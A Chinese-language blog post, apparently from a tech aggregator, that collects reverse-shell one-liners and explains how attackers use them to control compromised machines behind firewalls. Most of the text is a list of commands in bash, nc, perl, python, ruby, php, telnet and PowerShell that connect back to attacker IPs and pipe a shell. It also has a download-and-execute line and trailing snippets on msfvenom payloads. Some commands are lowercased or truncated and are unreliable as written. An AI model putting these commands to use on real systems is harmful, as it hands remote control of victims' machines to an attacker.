反彈shell集錦

2022-07-15 06:39:11 字數 3573 閱讀 3490

就是控制端監聽在某tcp/udp埠,被控端發起請求到該埠,並將其命令列的輸入輸出轉到控制端。reverse shell與telnet,ssh等標準shell對應,本質上是網路概念的客戶端與服務端的角色反轉。

通常用於被控端因防火牆受限、許可權不足、埠被占用等情形

假設我們攻擊了一台機器,開啟了該機器的乙個埠,攻擊者在自己的機器去連線目標機器(目標ip:目標機器埠),這是比較常規的形式,我們叫做正向連線。遠端桌面,web服務,ssh,telnet等等,都是正向連線。那麼什麼情況下正向連線不太好用了呢?

1)某客戶機中了你的網馬,但是它在區域網內,你直接連線不了。

2)它的ip會動態改變,你不能持續控制。

3)由於防火牆等限制,對方機器只能傳送請求,不能接收請求。

4)對於病毒,木馬,受害者什麼時候能中招,對方的網路環境是什麼樣的,什麼時候開關機,都是未知,所以建立乙個服務端,讓惡意程式主動連線,才是上策。

@bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

@/bin/bash -i > /dev/tcp/173.214.173.151/8080 0<&1 2>&1

@/bin/sh | nc 10.104.11.107 9007

@perl -mio -e '$c=new io::socket::inet(peeraddr,"10.104.11.107:9006");stdin->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

@perl -e 'use socket;$i="10.0.0.1";$p=1234;socket(s,pf_inet,sock_stream,getprotobyname("tcp"));if(connect(s,sockaddr_in($p,inet_aton($i))));'

@perl -mio -e '$p=fork;exit,if($p);$c=new io::socket::inet(peeraddr,"10.104.11.107:9009");stdin->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

@python -c 'import socket,subprocess,os;s=socket.socket(socket.af_inet,socket.sock_stream);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

@python -c "exec(\"import socket, subprocess;s = socket.socket();s.connect(('10.104.11.107',9013))\nwhile 1: proc = subprocess.popen(s.recv(1024), shell=true, stdout=subprocess.pipe, stderr=subprocess.pipe, stdin=subprocess.pipe);s.send(proc.stdout.read()+proc.stderr.read())\")"

@ruby -rsocket -e'f=tcpsocket.open("10.104.11.107",9009).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

@ruby -rsocket -e 'c=tcpsocket.new("10.104.11.107","9010");while(cmd=c.gets);io.popen(cmd,"r")end'

@ruby -rsocket -e 'exit if fork;c=tcpsocket.new("10.104.11.107","9011");while(cmd=c.gets);io.popen(cmd,"r")end'

@mknod backpipe p && telnet 173.214.173.151 8080 0backpipe

@php -r '$sock=fsockopen("10.104.11.107",9012);exec("/bin/sh -i <&3 >&3 2>&3");'

@rm -f /tmp/p; mknod /tmp/p p && nc 10.104.11.107 9008 0/tmp/

@rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

#本地監聽兩個埠,通過管道,一處輸入,一處輸出

@nc 10.104.11.107 1234|/bin/sh|nc 10.104.11.107 9999

@shell.py

@shell.pl

@shell2.pl

1.perl -mio -e '$p=fork;exit,if($p); $c=new io::socket::inet(peeraddr,"10.104.11.107:9002");stdin->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

2.rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.104.11.107 9003 >/tmp/f

3.mknod backpipe p && telnet 10.104.11.107 9005 0backpipe

4.perl -mio -e '$c=new io::socket::inet(peeraddr,"10.104.11.107:9006");stdin->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

5./bin/sh | nc 10.104.11.107 9007

6.rm -f /tmp/p; mknod /tmp/p p && nc 10.104.11.107 9008 0/tmp/

7.ruby -rsocket -e 'c=tcpsocket.new("10.104.11.107","9010");while(cmd=c.gets);io.popen(cmd,"r")end'

8.ruby -rsocket -e 'exit if fork;c=tcpsocket.new("10.104.11.107","9011");while(cmd=c.gets);io.popen(cmd,"r")end'

9.python -c "exec(\"import socket, subprocess;s = socket.socket();s.connect(('10.104.11.107',9013))\nwhile 1: proc = subprocess.popen(s.recv(1024), shell=true, stdout=subprocess.pipe, stderr=subprocess.pipe, stdin=subprocess.pipe);s.send(proc.stdout.read()+proc.stderr.read())\")

powershell iex (new-object system.net.webclient).downloadstring('

'); powercat -c 1.1.1.1 -p 443 -e cmd

反彈shell方法記錄

一 基於awk hacker機器上執行命令 nc l port hacker機器一直監聽某埠。在受害主機上執行命令 awk begin while c exit close s dev n 受害主機主動向hacker傳送shell連線。二 純nc hacker機器上執行命令 nc l port ha...

使用NC命令反彈Shell

本文使用兩台電腦操作,一台是kali 192.168.0.23 一台是mac 192.168.0.24 有些電腦不支援,而且跟機器使用順序還有關係。比如我在kali上 192.168.0.23 輸入 root kali nc l 1234在mac上 192.168.0.24 輸入 nc 192.16...

msf反彈shell內網滲透

1.msfvenom p windows x64 meterpreter reverse tcp lhost 本機ip位址 lport 本機監聽埠 f psh reflection o xx.ps1 生成檔案放在目標機目錄下 powershell執行指令碼 powershell windowstyl...